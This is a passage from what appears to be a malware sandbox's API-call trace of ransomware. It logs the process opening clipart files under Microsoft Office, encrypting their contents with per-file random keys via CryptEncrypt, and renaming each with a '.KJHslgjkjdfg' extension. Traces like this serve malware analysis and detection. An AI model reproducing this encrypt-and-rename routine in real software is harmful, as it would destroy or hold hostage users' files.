cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1 [0219.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.208] GetProcessHeap () returned 0x990000 [0219.208] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.208] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.208] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.210] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.210] GetProcessHeap () returned 0x990000 [0219.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.210] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.210] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.210] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.210] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.210] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.210] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.210] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x76c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x76c, lpOverlapped=0x0) returned 1 [0219.211] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x770, dwBufLen=0x770 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x770) returned 1 [0219.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.211] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x770, lpOverlapped=0x0) returned 1 [0219.211] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.211] SetEndOfFile (hFile=0x130) returned 1 [0219.213] GetProcessHeap () returned 0x990000 [0219.213] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.213] GetProcessHeap () returned 0x990000 [0219.213] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.kjhslgjkjdfg")) returned 1 [0219.214] CloseHandle (hObject=0x130) returned 1 [0219.214] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1 [0219.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.215] GetProcessHeap () returned 0x990000 [0219.215] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.215] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.215] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0219.218] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.219] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.219] GetProcessHeap () returned 0x990000 [0219.219] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.219] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.219] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.219] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.219] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.219] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.219] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.219] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.219] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.219] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.219] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.219] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12d1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12d1, lpOverlapped=0x0) returned 1 [0219.220] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12e0, dwBufLen=0x12e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12e0) returned 1 [0219.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.220] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12e0, lpOverlapped=0x0) returned 1 [0219.220] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.220] SetEndOfFile (hFile=0x130) returned 1 [0219.222] GetProcessHeap () returned 0x990000 [0219.222] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.222] GetProcessHeap () returned 0x990000 [0219.222] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.kjhslgjkjdfg")) returned 1 [0219.223] CloseHandle (hObject=0x130) returned 1 [0219.223] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1 [0219.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.225] GetProcessHeap () returned 0x990000 [0219.225] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.225] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0219.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.227] GetProcessHeap () returned 0x990000 [0219.227] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.227] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.227] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.227] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.227] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.228] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x102b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x102b, lpOverlapped=0x0) returned 1 [0219.228] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1030, dwBufLen=0x1030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1030) returned 1 [0219.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.228] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1030, lpOverlapped=0x0) returned 1 [0219.229] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.229] SetEndOfFile (hFile=0x130) returned 1 [0219.232] GetProcessHeap () returned 0x990000 [0219.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.232] GetProcessHeap () returned 0x990000 [0219.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.kjhslgjkjdfg")) returned 1 [0219.233] CloseHandle (hObject=0x130) returned 1 [0219.233] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1 [0219.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.235] GetProcessHeap () returned 0x990000 [0219.235] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.235] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.235] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0219.237] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.237] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.237] GetProcessHeap () returned 0x990000 [0219.237] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0219.237] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0219.237] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.237] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0219.237] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.237] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.237] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.237] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.237] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.237] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.237] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa16, lpOverlapped=0x0) returned 1 [0219.237] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa20, dwBufLen=0xa20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa20) returned 1 [0219.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.237] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa20, lpOverlapped=0x0) returned 1 [0219.238] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.238] SetEndOfFile (hFile=0x130) returned 1 [0219.240] GetProcessHeap () returned 0x990000 [0219.240] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0219.240] GetProcessHeap () returned 0x990000 [0219.240] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.kjhslgjkjdfg")) returned 1 [0219.241] CloseHandle (hObject=0x130) returned 1 [0219.241] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1 [0219.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.242] GetProcessHeap () returned 0x990000 [0219.242] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.242] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0219.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.244] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.244] GetProcessHeap () returned 0x990000 [0219.244] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0219.244] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, 